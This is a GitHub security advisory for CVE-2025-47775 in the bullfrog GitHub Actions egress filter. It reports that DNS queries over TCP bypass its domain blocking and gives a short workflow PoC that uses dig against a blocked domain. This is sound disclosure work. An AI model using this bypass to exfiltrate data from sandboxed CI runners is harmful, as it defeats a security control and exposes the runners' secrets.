Skip to content

Bullfrog's DNS over TCP bypasses domain filtering

Moderate severity GitHub Reviewed Published May 14, 2025 in bullfrogsec/bullfrog • Updated May 15, 2025

Package

actionsbullfrogsec/bullfrog (GitHub Actions)

Affected versions

< 0.8.4

Patched versions

0.8.4

Description

Summary

Using tcp breaks blocking and allows DNS exfiltration.

PoC

name: test on: push: branches: - "*" jobs: testBullFrog: runs-on: ubuntu-22.04 steps: - name: Use google dns run: | sudo resolvectl dns eth0 1.1.1.1 resolvectl status - name: Set up bullfrog to block everything uses: bullfrogsec/bullfrog@1472c28724ef13ea0adc54d0a42c2853d42786b1 # v0.8.2 with: egress-policy: block allowed-domains: | *.github.com - name: Test connectivity run: | echo testing udp allowed .. dig api.github.com @1.1.1.1 || : echo testing tcp allowed .. dig api.github.com @1.1.1.1 +tcp || : echo testing udp not allowed dig api.google.com @1.1.1.1 || : echo testing tcp not allowed dig api.google.com @1.1.1.1 +tcp || :

Impact

sandbox bypass

image

References

@fallard84fallard84 published to bullfrogsec/bullfrog May 14, 2025
Published by the National Vulnerability DatabaseMay 14, 2025
Published to the GitHub Advisory Database May 15, 2025
Reviewed May 15, 2025
Last updated May 15, 2025

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Local
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
None
Availability
None

CVSS v3 base metrics

Attack vector:More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity:More severe for the least complex attacks.
Privileges required:More severe if no privileges are required.
User interaction:More severe when no user interaction is required.
Scope:More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality:More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity:More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability:More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(18th percentile)

Weaknesses

Insertion of Sensitive Information Into Sent Data

The code transmits data to another actor, but a portion of the data includes sensitive information that should not be accessible to that actor. Learn more on MITRE.

CVE ID

CVE-2025-47775

GHSA ID

GHSA-m32f-fjw2-37v3

Source code

Credits

LoadingChecking history
See something to contribute? Suggest improvements for this vulnerability.